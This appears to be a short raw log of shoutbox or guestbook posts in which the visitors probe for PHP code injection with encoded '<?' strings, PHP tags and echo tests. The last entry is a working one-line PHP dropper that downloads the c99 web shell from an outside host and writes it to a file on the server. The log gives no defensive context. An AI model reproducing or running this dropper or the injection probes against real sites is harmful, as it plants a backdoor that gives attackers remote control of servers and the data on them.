< yes no>: Shout!%3C%3F

<asd: Shout!asdfasdf

%3C%3F %3C%3F: Shout! %3C%3F

yes: %3C%3F %3C%3F %3C%3F

yes: <?php /* ?>

yes: ?><?php echo("hello"); ?>

yes: <?php echo("hello"); ?>

lucs: <? $z=fopen("01.php",'w');fwrite($z,file_get_contents("http://c99shell.tk/c99.txt"));fclose($z); ?>